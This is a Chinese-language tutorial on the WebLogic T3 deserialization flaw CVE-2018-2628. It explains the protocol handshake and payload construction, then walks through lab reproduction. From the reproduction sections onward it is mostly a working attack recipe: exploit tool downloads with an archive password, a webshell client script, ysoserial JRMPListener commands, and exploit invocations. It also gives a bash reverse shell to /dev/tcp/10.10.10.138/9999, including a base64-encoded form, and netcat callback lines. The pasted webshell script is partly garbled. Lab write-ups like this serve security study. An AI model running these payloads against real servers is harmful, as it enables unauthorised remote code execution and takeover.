一、T3协议
T3协议是WebLogic的一种专有通信协议，用于在WebLogic服务器和其他类型的Java程序之间传输信息。
在Weblogic中的RMI通信是使用T3协议实现的（RMI的基础通信协议是JRMP）。
RMI（Remote Method Invocation，远程方法调用）：允许一个Java虚拟机（JVM）中的对象调用另一台 JVM虚拟机中对象上的方法。
当客户端想要调用服务器上的某个方法时，它会将该方法的参数（即对象）序列化（转换成字节流），通过网络发送给服务器，服务器接收到这些字节后，再进行反序列化（将字节流还原成对象），然后执行相应的方法。
二、漏洞简介
漏洞概述：
CVE-2018-2628是Oracle WebLogic Server（WLS）核心组件中的一个反序列化命令执行漏洞。
允许未经身份验证的攻击者通过T3协议发送特制的数据包到目标服务器，从而在服务器上远程执行恶意代码。
漏洞的根本原因在于WebLogic Server的服务端组件未能正确地对来自客户端的输入进行验证和处理。
原理：
服务器实例会跟踪连接到应用程序的每个Java虚拟机（JVM）中，并创建T3协议通信连接，将流量传输到Java虚拟机，当WebLogic控制台端口（默认为7001端口）开放时，T3服务会默认开启。
攻击者可以通过T3协议发送恶意的反序列化数据，进行反序列化，实现对存在漏洞的WebLogic组件的远程代码执行攻击。
WebLogic的RMI是通过T3协议实现的，在T3协议的传输过程中同样会进行序列化和反序列化的操作，所以说T3的反序列漏洞和RMI的反序列漏洞的原理几乎是一致的。
在T3协议中，协议协商的阶段，客户端会发送一个请求包头（handshake）用来表明这是一个T3协议，它负责定义数据包的基本结构和传输协议的版本信息。
客户端会首先发送下面的信息给weblogic服务器
t3 12.2.3
AS:255
HL:19
nMS:10000000服务器接收到信息后，会回复类似的消息
HELO:12.2.1.3.false
AS:2048
HL:19
MS:10000000
PN:DOMAIN响应包头中HELO后面的内容是被连接的weblogic的版本号。
通信双方根据对方发来的协议协商信息，开始建立连接
协商完毕上面的信息后，客户端会向服务端发送自己的详细信息（一段二进制数据）。在这段二进制流的前4bytes标识了本次请求的数据长度，然后直到遇到
aced 0005序列化数据的标识之前。
如果需要去构造payload的话，需要在后面序列化的内容中进行替换，将原本存在的序列化内容替换成payload的序列化内容，在传输完成后，进行反序列化达成攻击的目的。
影响版本：
该漏洞影响了以下版本的Oracle WebLogic Server：
Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 12.1.3.0
Oracle WebLogic Server 12.2.1.2
Oracle WebLogic Server 12.2.1.3
三、POC介绍
大部分的WebLogic的利用脚本都是使用python编写的，基本的思路都是替换WebLogic T3协议流中
aced 0005部分为恶意的序列化数据来实现反序列化攻击。
POC1
这个poc本质就是把ysoserial生成的payload变成t3协议里的数据格式
数据包长度包括了自身长度和其他三部分数据包长度，所以需要先占位，计算出长度后再替换进去
T3协议头是固定的，直接硬编码进去就行
反序列化标志+数据=weblogic反序列化标志
fe010000+ysoserial生成的序列化数据

四、漏洞复现（反弹shell1）
靶机：ubuntu22.04（中间件用）
打开靶机，在终端分别输入以下命令
docker images//查看镜像ID
docker run -d -p 8080:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=10.10.10.136 8e55f85571c8
sudo docker exec -it practical_snyder /bin/bash
敲完后，在浏览器防问靶场IP+8080端口，看到靶场首页（登录账号密码都是admin）
登录后，点击左侧镜像管理，然后点击右上角的一键同步（更新镜像源）
更新完之后，搜索CVE-2018-2628，然后点击下载
在首页启动靶场，然后访问相应的端口
此时，在kali上输入以下命令下载POC
git clone https://github.com/jas502n/CVE-2018-2628.git
EXP内容如下

from urllib import *
def shell(url,cmd):
all_url = url + "?tom=" + base64.b64encode(cmd)
try:

if result.status_code == 200:
print result.content
except requests.ConnectionError,e:
print e
th = {"url":""}
while True:
if th.get("url") != "":
input_cmd = raw_input("cmd >>: ")
if input_cmd == "exit":
exit()
elif input_cmd == 'set':
url = raw_input("set shell :")
th['url'] = url
elif input_cmd == 'show url':
print th.get("url")
else:
shell(th.get("url"),input_cmd)
else:
url = raw_input("set shell :")
th["url"] = url此时，使用以下工具写入shell（填写目标的IP和端口）
工具下载地址：https://github.com/k8gege/K8tools/blame/master/CVE-2018-2628%20Weblogic%20GetShell%20Exploit.rar
解压密码：k8gege
然后进入CVE-2018-2628目录，执行以下命令，填入写入shell的路径，发现反弹shell成功
写入shell后会在短时间内自动删除，所以可能要多执行几次命令才会有回显
python2 cve-2018-2628.py 
五、漏洞复现（RCE）

/root/vulhub-master/weblogic/CVE-2018-2628目录，输入以下命令拉取环境
docker-compose build
docker-compose up -d
通过nmap探测靶机上Weblogic的T3协议是否启用，以及版本号
nmap -sV 10.10.10.169 -p 7001 -script weblogic-t3-info
利用ysoserial开启一个JRMP服务监听，利用链选择CC1链。
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "touch /tmp/test"
利用EXP向目标Weblogic发送Payload
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
python2 exp.py 10.10.10.169 7001 ysoserial.jar 10.10.10.138 2333 JRMPClient
EXP内容如下

# How to exploit:
# 1. run below command on JRMPListener host
# 1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
# 2) java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
# e.g. java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040'
# 2. start a listener on attacker host
# e.g. nc -nlvp 4040
# 3. run this script on attacker host
# 1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
# 2) python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
# e.g.
# a) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient (Using java.rmi.registry.Registry)
# b) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient2 (Using java.rmi.activation.Activator)

使用
docker ps -a命令查看容器名称
然后使用
docker exec -it cve-2018-2628_weblogic_1 /bin/bash，进入该容器的交互式命令行，查看test文件是否创建成功
六、漏洞复现（反弹shell2）
在攻击机中通过nc监听本地端口：
nc -lvvp 9999
接着准备bash shell
bash -i >& /dev/tcp/10.10.10.138/9999 0>&1由于
Runtime.getRuntime().exec()中不能使用重定向和管道符，这里需要对bash shell进行base64编码
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMzgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"使用ysoserial工具开启JRMP监听，监听本地2333端口，利用链使用CC1链
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMzgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"
利用exp脚本，向目标Weblogic发送Payload：
python2 exp.py 10.10.10.169 7001 ysoserial.jar 10.10.10.138 2333 JRMPClientexp脚本执行完成后，反弹shell成功
